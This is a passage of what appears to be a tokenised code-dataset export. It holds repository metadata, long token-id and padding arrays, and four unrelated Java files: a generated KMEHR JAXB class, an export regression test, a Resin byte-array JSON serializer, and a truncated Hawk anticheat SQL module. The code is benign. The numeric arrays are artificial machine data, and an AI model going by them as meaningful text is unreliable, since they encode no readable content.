1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,125
| true
| 66.188129
| true
| true
|
CDCHAPTER4DOCUMENTSEQAPPENDIX.java
|
/FileExtraction/Java_unseen/taktik_icure-backend/src/main/java/org/taktik/icure/be/ehealth/dto/kmehr/v20180601/be/fgov/ehealth/standards/kmehr/cd/v1/CDCHAPTER4DOCUMENTSEQAPPENDIX.java
|
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.8-b130911.1802
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2019.06.14 at 03:48:59 PM CEST
//
package org.taktik.icure.be.ehealth.dto.kmehr.v20180601.be.fgov.ehealth.standards.kmehr.cd.v1;
import java.io.Serializable;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlAttribute;
import javax.xml.bind.annotation.XmlSchemaType;
import javax.xml.bind.annotation.XmlType;
import javax.xml.bind.annotation.XmlValue;
import javax.xml.bind.annotation.adapters.CollapsedStringAdapter;
import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;
/**
* <p>Java class for CD-CHAPTER4DOCUMENTSEQAPPENDIX complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="CD-CHAPTER4DOCUMENTSEQAPPENDIX">
* <simpleContent>
* <extension base="<http://www.ehealth.fgov.be/standards/kmehr/cd/v1>CD-CHAPTER4DOCUMENTSEQAPPENDIXvalues">
* <attribute name="S" use="required" type="{http://www.w3.org/2001/XMLSchema}string" fixed="CD-CHAPTER4DOCUMENTSEQAPPENDIX" />
* <attribute name="SV" use="required" type="{http://www.w3.org/2001/XMLSchema}string" />
* <attribute name="DN" type="{http://www.w3.org/2001/XMLSchema}string" />
* <attribute name="L" type="{http://www.w3.org/2001/XMLSchema}language" default="en" />
* </extension>
* </simpleContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "CD-CHAPTER4DOCUMENTSEQAPPENDIX", propOrder = {
"value"
})
public class CDCHAPTER4DOCUMENTSEQAPPENDIX
implements Serializable
{
private final static long serialVersionUID = 20180601L;
@XmlValue
protected String value;
@XmlAttribute(name = "S", required = true)
protected String s = "CD-CHAPTER4DOCUMENTSEQAPPENDIX";
@XmlAttribute(name = "SV", required = true)
protected String sv = "1.0";
@XmlAttribute(name = "DN")
protected String dn;
@XmlAttribute(name = "L")
@XmlJavaTypeAdapter(CollapsedStringAdapter.class)
@XmlSchemaType(name = "language")
protected String l;
/**
* Gets the value of the value property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getValue() {
return value;
}
/**
* Sets the value of the value property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setValue(String value) {
this.value = value;
}
/**
* Gets the value of the s property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getS() {
if (s == null) {
return "CD-CHAPTER4DOCUMENTSEQAPPENDIX";
} else {
return s;
}
}
/**
* Sets the value of the s property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setS(String value) {
this.s = value;
}
/**
* Gets the value of the sv property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getSV() {
return sv;
}
/**
* Sets the value of the sv property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setSV(String value) {
this.sv = value;
}
/**
* Gets the value of the dn property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getDN() {
return dn;
}
/**
* Sets the value of the dn property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setDN(String value) {
this.dn = value;
}
/**
* Gets the value of the l property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getL() {
if (l == null) {
return "en";
} else {
return l;
}
}
/**
* Sets the value of the l property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setL(String value) {
this.l = value;
}
}
| 4,796
|
Java
|
.java
|
taktik/icure-backend
| 19
| 25
| 3
|
2018-03-29T12:01:32Z
|
2022-11-18T08:44:46Z
|
623e0fb5c1e3ff4c84dbe712bf12c48959012bab0d2779122326cd0edbeace5c
|
[
325,
222,
325,
1369,
822,
1616,
4741,
829,
341,
4957,
9043,
29327,
456,
7408,
17393,
45,
47329,
46,
9495,
19977,
49,
373,
55,
51,
55,
51,
61,
50,
103,
54,
56,
53,
62,
54,
54,
51,
54,
61,
53,
55,
244,
222,
325,
2819,
350,
102,
995,
366,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
432,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
396,
102,
67,
244,
222,
325,
6213,
23125,
391,
477,
822,
1118,
545,
15058,
12710,
334,
31635,
451,
341,
1932,
5379,
51,
244,
222,
325,
13046,
563,
63,
244,
55,
53,
54,
62,
51,
53,
59,
51,
54,
57,
840,
244,
53,
56,
63,
57,
61,
63,
58,
62,
9401,
409,
4143,
244,
222,
325,
499,
222,
1337,
1105,
51,
121,
11385,
1567,
51,
314,
532,
51,
883,
51,
106,
9864,
51,
12292,
51,
112,
308,
3943,
51,
123,
55,
53,
54,
61,
53,
59,
53,
54,
51,
883,
51,
4658,
1558,
51,
106,
9864,
51,
9165,
120,
51,
112,
308,
3943,
51,
2105,
51,
123,
54,
64,
222,
222,
485,
1401,
51,
735,
51,
12644,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
41079,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
9794,
638,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
43713,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
26886,
638,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
40002,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
899,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
27351,
51,
33832,
671,
4433,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
27351,
51,
4411,
5445,
638,
4433,
64,
499,
222,
1350,
222,
338,
350,
117,
67,
5445,
462,
456,
20321,
50,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
8667,
847,
51,
222,
338,
1676,
338,
350,
117,
67,
1338,
2434,
5379,
10299,
15834,
341,
2816,
1813,
14561,
4824,
477,
462,
51,
222,
338,
1676,
338,
350,
1023,
67,
222,
338,
568,
2176,
64,
46990,
655,
366,
4778,
50,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
432,
222,
338,
280,
568,
2176,
64,
6681,
1795,
67,
222,
338,
281,
568,
2176,
64,
6749,
1712,
366,
43,
2176,
64,
544,
574,
1516,
51,
106,
9864,
51,
4658,
1558,
51,
883,
52,
9165,
120,
52,
112,
308,
3943,
52,
2105,
52,
123,
54,
67,
4778,
50,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
2857,
432,
222,
338,
981,
568,
2176,
64,
4902,
655,
366,
88,
39,
813,
366,
3662,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
819,
39,
5264,
366,
4778,
50,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
39,
1699,
222,
338,
981,
568,
2176,
64,
4902,
655,
366,
6029,
39,
813,
366,
3662,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
819,
39,
1699,
222,
338,
981,
568,
2176,
64,
4902,
655,
366,
11686,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
819,
39,
1699,
222,
338,
981,
568,
2176,
64,
4902,
655,
366,
81,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
4210,
39,
1263,
366,
291,
39,
1699,
222,
338,
281,
568,
2176,
6532,
6749,
67,
222,
338,
280,
568,
2176,
6532,
6681,
1795,
67,
222,
338,
568,
2176,
6532,
46990,
67,
222,
338,
594,
1023,
67,
222,
338,
1676,
338,
1676,
588,
222,
69,
4411,
9794,
638,
45,
4411,
41079,
51,
6457,
46,
222,
69,
40002,
45,
444,
299,
332,
4778,
50,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
411,
7030,
2888,
299,
320,
303,
332,
872,
39,
222,
1770,
222,
942,
462,
20321,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
303,
4584,
19182,
222,
128,
465,
964,
1175,
924,
1964,
19896,
299,
244,
55,
53,
54,
61,
53,
59,
53,
54,
81,
64,
303,
496,
4411,
899,
303,
2532,
910,
804,
64,
303,
496,
43713,
45,
444,
299,
332,
88,
411,
2147,
299,
878,
46,
303,
2532,
910,
328,
299,
332,
4778,
50,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
884,
303,
496,
43713,
45,
444,
299,
332,
6029,
411,
2147,
299,
878,
46,
303,
2532,
910,
5870,
299,
332,
54,
51,
53,
884,
303,
496,
43713,
45,
444,
299,
332,
11686,
678,
303,
2532,
910,
29751,
64,
303,
496,
43713,
45,
444,
299,
332,
81,
678,
303,
496,
4411,
5445,
638,
4433,
45,
33832,
671,
4433,
51,
842,
46,
303,
496,
26886,
638,
45,
444,
299,
332,
4210,
678,
303,
2532,
910,
475,
64,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
804,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
21517,
365,
320,
310,
461,
804,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
804,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
27609,
45,
671,
804,
46,
320,
310,
477,
51,
872,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
328,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
43543,
365,
320,
310,
434,
327,
120,
630,
762,
46,
320,
343,
461,
332,
4778,
50,
1424,
1910,
2933,
57,
23997,
20273,
6876,
737,
1740,
93,
884,
310,
339,
832,
320,
343,
461,
328,
64,
310,
339,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
328,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
88,
45,
671,
804,
46,
320,
310,
477,
51,
120,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
5870,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
640,
6029,
365,
320,
310,
461,
5870,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
5870,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
6029,
45,
671,
804,
46,
320,
310,
477,
51,
2289,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
29751,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
640,
11686,
365,
320,
310,
461,
29751,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
29751,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
11686,
45,
671,
804,
46,
320,
310,
477,
51,
6156,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
475,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
640,
81,
365,
320,
310,
434,
327,
113,
630,
762,
46,
320,
343,
461,
332,
291,
884,
310,
339,
832,
320,
343,
461,
475,
64,
310,
339,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
475,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
81,
45,
671,
804,
46,
320,
310,
477,
51,
113,
299,
804,
64,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1
]
] | 1,381
| true
| 56.255213
| true
| true
|
ExportTaskRegressionTest.java
|
/FileExtraction/Java_unseen/SonarSonic_DrawingBotV3/src/test/java/drawingbot/files/ExportTaskRegressionTest.java
|
package drawingbot.files;
import drawingbot.DrawingBotV3;
import drawingbot.JUnitDBV3ClassRunner;
import drawingbot.api.IGeometryFilter;
import drawingbot.registry.MasterRegistry;
import javafx.application.Platform;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.io.File;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.atomic.AtomicBoolean;
import static drawingbot.TestUtils.*;
@RunWith(JUnitDBV3ClassRunner.class)
public class ExportTaskRegressionTest{
@Test
public void testExport() throws InterruptedException {
final CountDownLatch latch = new CountDownLatch(1);
final AtomicBoolean triggered = new AtomicBoolean(false);
Platform.runLater(() -> {
DrawingBotV3.project().getPFMSettings().setPFMFactory(MasterRegistry.INSTANCE.getDefaultPFM());
DrawingBotV3.INSTANCE.startPlotting(DrawingBotV3.context());
DrawingBotV3.INSTANCE.taskMonitor.processingCount.addListener((observable, oldValue, newValue) -> {
if (newValue.intValue() == 0) { //when the value changes we add export tasks for every type
if (triggered.get()) {
latch.countDown();
} else {
for (DrawingExportHandler format : MasterRegistry.INSTANCE.drawingExportHandlers.values()) {
if (format.category == DrawingExportHandler.Category.ANIMATION || format.category == DrawingExportHandler.Category.SPECIAL) {
continue;
}
String extension = format.getDefaultExtension();
String regressionDir = format.category == DrawingExportHandler.Category.IMAGE ? getRegressionImagesDirectory() : getRegressionFilesDirectory();
DrawingBotV3.INSTANCE.createExportTask(format, ExportTask.Mode.PER_DRAWING, DrawingBotV3.taskManager().getCurrentDrawing(), IGeometryFilter.DEFAULT_FILTER, extension, new File(regressionDir, format.getRegistryName() + " " + getTestRunnerName() + extension), false);
DrawingBotV3.INSTANCE.createExportTask(format, ExportTask.Mode.PER_PEN, DrawingBotV3.taskManager().getCurrentDrawing(), IGeometryFilter.DEFAULT_FILTER, extension, new File(regressionDir, format.getRegistryName() + " " + getTestRunnerName() + extension), false);
}
triggered.set(true);
}
}
});
});
latch.await();
}
}
| 2,597
|
Java
|
.java
|
SonarSonic/DrawingBotV3
| 308
| 40
| 25
|
2021-01-17T13:57:13Z
|
2024-04-21T22:41:23Z
|
513f80efc15a86b17ef151bf335d8101eda0dd68ce3e72fd4a38fd7a6e7a8dc1
|
[
1337,
19785,
2213,
51,
2558,
64,
222,
222,
485,
19785,
2213,
51,
4631,
9037,
91,
56,
64,
222,
485,
19785,
2213,
51,
25065,
2015,
91,
56,
1359,
7980,
64,
222,
485,
19785,
2213,
51,
1256,
51,
1453,
106,
4639,
2365,
64,
222,
485,
19785,
2213,
51,
8205,
51,
8801,
5389,
64,
222,
485,
15911,
51,
3180,
51,
6851,
64,
222,
485,
1105,
51,
3946,
51,
1024,
64,
222,
485,
1105,
51,
3946,
51,
10349,
51,
23071,
64,
222,
222,
485,
1401,
51,
735,
51,
991,
64,
222,
485,
1401,
51,
1058,
51,
8349,
51,
1552,
35579,
64,
222,
485,
1401,
51,
1058,
51,
8349,
51,
6238,
51,
17122,
4718,
64,
222,
222,
485,
924,
19785,
2213,
51,
32384,
7737,
222,
222,
69,
23071,
45,
25065,
2015,
91,
56,
1359,
7980,
51,
842,
46,
222,
942,
462,
14715,
2265,
21459,
128,
465,
496,
1024,
303,
581,
782,
913,
6171,
365,
2589,
24683,
320,
310,
1175,
9658,
35579,
475,
765,
299,
556,
9658,
35579,
45,
54,
312,
310,
1175,
16181,
4718,
16782,
299,
556,
16181,
4718,
45,
1886,
312,
310,
11329,
51,
1967,
31312,
4133,
984,
320,
343,
10181,
318,
9037,
91,
56,
51,
2268,
941,
390,
12255,
82,
2977,
941,
489,
12255,
82,
2232,
45,
8801,
5389,
51,
12457,
51,
13729,
12255,
82,
1052,
343,
10181,
318,
9037,
91,
56,
51,
12457,
51,
1384,
11756,
1073,
45,
4631,
9037,
91,
56,
51,
1834,
1052,
1083,
10181,
318,
9037,
91,
56,
51,
12457,
51,
2810,
8538,
51,
9608,
1552,
51,
24333,
1181,
22001,
49,
31150,
49,
17772,
46,
984,
320,
419,
434,
327,
25018,
51,
22777,
365,
630,
244,
53,
46,
320,
453,
6045,
341,
804,
3417,
1019,
1035,
4184,
8285,
456,
3659,
847,
547,
434,
327,
34274,
51,
390,
1177,
320,
733,
475,
765,
51,
1016,
3228,
492,
547,
339,
832,
320,
733,
456,
327,
4631,
6171,
1985,
2224,
518,
18373,
5389,
51,
12457,
51,
28783,
6171,
15544,
51,
2857,
1177,
320,
1031,
434,
327,
1664,
51,
3168,
630,
10181,
318,
6171,
1985,
51,
4236,
51,
38793,
2909,
1293,
2224,
51,
3168,
630,
10181,
318,
6171,
1985,
51,
4236,
51,
33556,
46,
320,
1396,
4056,
64,
1031,
339,
1031,
910,
5122,
299,
2224,
51,
13729,
4823,
492,
1031,
910,
18051,
2995,
299,
2224,
51,
3168,
630,
10181,
318,
6171,
1985,
51,
4236,
51,
10407,
1037,
640,
15457,
9622,
4562,
365,
518,
640,
15457,
3852,
4562,
492,
1031,
10181,
318,
9037,
91,
56,
51,
12457,
51,
1315,
6171,
2265,
45,
1664,
49,
14715,
2265,
51,
2116,
51,
3703,
100,
22358,
1410,
49,
10181,
318,
9037,
91,
56,
51,
2810,
1590,
941,
12344,
4631,
1046,
457,
9520,
2365,
51,
5815,
100,
13382,
49,
5122,
49,
556,
2050,
45,
26753,
2995,
49,
2224,
51,
390,
5389,
577,
365,
494,
332,
332,
494,
640,
39239,
577,
365,
494,
5122,
490,
920,
312,
1031,
10181,
318,
9037,
91,
56,
51,
12457,
51,
1315,
6171,
2265,
45,
1664,
49,
14715,
2265,
51,
2116,
51,
3703,
100,
29750,
49,
10181,
318,
9037,
91,
56,
51,
2810,
1590,
941,
12344,
4631,
1046,
457,
9520,
2365,
51,
5815,
100,
13382,
49,
5122,
49,
556,
2050,
45,
26753,
2995,
49,
2224,
51,
390,
5389,
577,
365,
494,
332,
332,
494,
640,
39239,
577,
365,
494,
5122,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 565
| true
| 64.959569
| true
| true
|
ByteArraySerializer.java
|
/FileExtraction/Java_unseen/dlitz_resin/modules/resin/src/com/caucho/json/ByteArraySerializer.java
|
/*
* Copyright (c) 1998-2011 Caucho Technology -- all rights reserved
*
* This file is part of Resin(R) Open Source
*
* Each copy or derived work must preserve the copyright notice and this
* notice unmodified.
*
* Resin Open Source is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Resin Open Source is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE, or any warranty
* of NON-INFRINGEMENT. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with Resin Open Source; if not, write to the
*
* Free Software Foundation, Inc.
* 59 Temple Place, Suite 330
* Boston, MA 02111-1307 USA
*
* @author Scott Ferguson
*/
package com.caucho.json;
import java.io.*;
import java.util.*;
import com.caucho.util.*;
public class ByteArraySerializer implements JsonSerializer {
static final JsonSerializer SER = new ByteArraySerializer();
private ByteArraySerializer() {}
public void write(JsonOutput out, Object objValue)
throws IOException
{
byte []value = (byte []) objValue;
StringBuilder sb = new StringBuilder();
Base64.encode(sb, value, 0, value.length);
out.writeString(sb.toString());
}
}
| 1,543
|
Java
|
.java
|
dlitz/resin
| 9
| 8
| 0
|
2012-01-06T02:11:44Z
|
2011-10-23T12:14:39Z
|
c09242105766ffa5a569503653f62b691e0f8c0a6e01863deaab59a4cbee84f7
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
54,
62,
62,
61,
50,
55,
53,
54,
54,
409,
4474,
1525,
21893,
790,
1187,
4760,
5225,
222,
338,
222,
338,
1369,
822,
458,
1760,
451,
1955,
285,
45,
87,
46,
3944,
6391,
222,
338,
222,
338,
11112,
1948,
575,
12015,
1409,
2315,
24081,
341,
5550,
5410,
480,
477,
222,
338,
5410,
725,
10492,
51,
222,
338,
222,
338,
1955,
285,
3944,
6391,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
64,
3173,
1522,
244,
55,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1955,
285,
3944,
6391,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
49,
575,
1364,
14319,
222,
338,
451,
11893,
50,
14012,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
456,
1851,
222,
338,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
1955,
285,
3944,
6391,
64,
434,
666,
49,
2886,
391,
341,
222,
338,
222,
338,
280,
7834,
3870,
7120,
49,
6367,
51,
222,
338,
283,
58,
62,
38849,
17693,
49,
25280,
244,
56,
56,
53,
222,
338,
280,
25006,
49,
13083,
244,
53,
55,
54,
54,
54,
50,
54,
56,
53,
60,
244,
15067,
222,
338,
222,
338,
496,
2133,
377,
28015,
525,
15082,
371,
286,
222,
588,
222,
222,
1337,
785,
51,
1192,
122,
1525,
51,
1279,
64,
222,
222,
485,
1401,
51,
735,
7737,
222,
485,
1401,
51,
1058,
7737,
222,
485,
785,
51,
1192,
122,
1525,
51,
1058,
7737,
222,
222,
942,
462,
18870,
7271,
4584,
42031,
320,
353,
924,
1175,
42031,
10317,
299,
556,
18870,
7271,
492,
736,
964,
18870,
7271,
365,
2172,
4070,
581,
782,
2886,
45,
2541,
2319,
986,
49,
2210,
2847,
899,
46,
303,
2589,
6300,
353,
320,
303,
3447,
1627,
872,
299,
327,
2278,
11551,
2847,
899,
64,
465,
9705,
6127,
299,
556,
9705,
492,
465,
3787,
59,
57,
51,
4458,
45,
5692,
49,
804,
49,
244,
53,
49,
804,
51,
1340,
312,
465,
986,
51,
27618,
45,
5692,
51,
3127,
1052,
353,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 405
| true
| 70.706416
| true
| true
|
SQLModule.java
|
/FileExtraction/Java_unseen/HawkAnticheat_Hawk/src/me/islandscout/hawk/module/SQLModule.java
|
/*
* This file is part of Hawk Anticheat.
* Copyright (C) 2018 Hawk Development Team
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package me.islandscout.hawk.module;
import me.islandscout.hawk.Hawk;
import me.islandscout.hawk.util.ConfigHelper;
import me.islandscout.hawk.util.Violation;
import org.bukkit.Bukkit;
import org.bukkit.scheduler.BukkitScheduler;
import java.sql.*;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public class SQLModule {
private final Hawk hawk;
private boolean enabled;
private final int postInterval;
private final List<Violation> violations;
private Connection conn;
private short loopCounter;
private static final String DEFAULT_CHARACTER_ENCODING = "utf8";
private static final String INSERT_TABLE = "INSERT INTO `hawkviolations` " +
"(`id`, `uuid`, `check`, `ping`, `vl`, `server`, `time`) VALUES " +
"(?,?,?,?,?,?,?)";
//ehhh... I think it would be better if Hawk had the control to enable or disable this module.
//kinda scary to think that instantiating this would immediately enable it...
public SQLModule(Hawk hawk) {
this.hawk = hawk;
enabled = ConfigHelper.getOrSetDefault(false, hawk.getConfig(), "sql.enabled");
postInterval = ConfigHelper.getOrSetDefault(60, hawk.getConfig(), "sql.updateInterval");
violations = Collections.synchronizedList(new ArrayList<>());
String host = ConfigHelper.getOrSetDefault("127.0.0.1", hawk.getConfig(), "sql.host");
String port = ConfigHelper.getOrSetDefault("3306", hawk.getConfig(), "sql.port");
String characterEncoding = ConfigHelper.getOrSetDefault(DEFAULT_CHARACTER_ENCODING, hawk.getConfig(), "sql.characterEncoding");
String database = ConfigHelper.getOrSetDefault("", hawk.getConfig(), "sql.database");
String user = ConfigHelper.getOrSetDefault("", hawk.getConfig(), "sql.username");
String password = ConfigHelper.getOrSetDefault("", hawk.getConfig(), "sql.password");
openConnection(host, port, user, database, password, characterEncoding);
}
private void openConnection(String hostname, String port, String username, String database, String password, String charEncoding) {
if (!enabled) return;
try {
Class.forName("com.mysql.jdbc.Driver");
//https://stackoverflow.com/a/3042646
String url = "jdbc:mysql://" + hostname + ":" + port + "/" + database + "?characterEncoding=" + charEncoding;
conn = DriverManager.getConnection(url, username, password);
hawk.getLogger().info("Connected to SQL server.");
} catch (Exception e) {
e.printStackTrace();
closeConnection();
enabled = false;
}
}
